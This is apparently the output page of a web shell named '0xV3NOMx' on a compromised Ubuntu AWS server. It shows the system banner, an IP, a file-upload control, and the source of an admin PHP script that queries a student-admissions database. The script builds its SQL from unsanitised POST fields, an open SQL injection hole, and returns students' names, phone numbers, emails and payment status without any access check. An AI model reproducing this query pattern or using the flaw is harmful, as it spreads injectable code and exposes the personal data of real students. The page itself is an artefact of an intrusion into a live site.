0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.15.186.27


Current Path : /var/www/html/gcg/adm/admin/src/pg/
Upload File :
Current File : /var/www/html/gcg/adm/admin/src/pg/getpgapps.php

<?php

include ("../database.php");

$fdegree = $_POST['fdegree'];
$toapp = $_POST['toapp'];
$rtype = $_POST['rtype'];
$fromapp = $_POST['fromapp'];



if(strtoupper($rtype) == 'APPROVED')
   $cnd = "and ifnull(FAPPRSTATUS,'') = 'APPROVED'";
else if($rtype == 'Not Approved')
	$cnd = "and ifnull(FAPPRSTATUS,'') <> 'APPROVED'";
else
	$cnd = "";

$get_app_query = "select fappno, fappno, fname, ffatname, 
sa.fmobileno,sa.femail as email,  
sa.ftotfee, sa.fpaymenttype,ifnull(sa.`FPAYMENTSTATUS`,'') as paystatus, 
ifnull(fappstatus,'') as fapprstatus, 
ifnull(sa.FACKUSER,'') as fuser
from pgstudadm sa 
inner join degree dg 
on sa.fdegree = dg.fdegree 
and dg.fexamno = 'A'
where sa.fdegree = '{$fdegree}' 
and ifnull(fname,'') <> ''
and sa.fappno between '{$fromapp}' and '{$toapp}' 
{$cnd}
order by fname,FPAYMENTSTATUS";

$result = mysqli_query($conn,$get_app_query);
//var_dump($get_app_query);
$i=0;

while($app = mysqli_fetch_array($result,MYSQLI_NUM)) 
{
	$apps[$i] = $app;
	$i++;
}
$row['apps'] = $apps;
$row['status'] = 'success';

echo json_encode($row);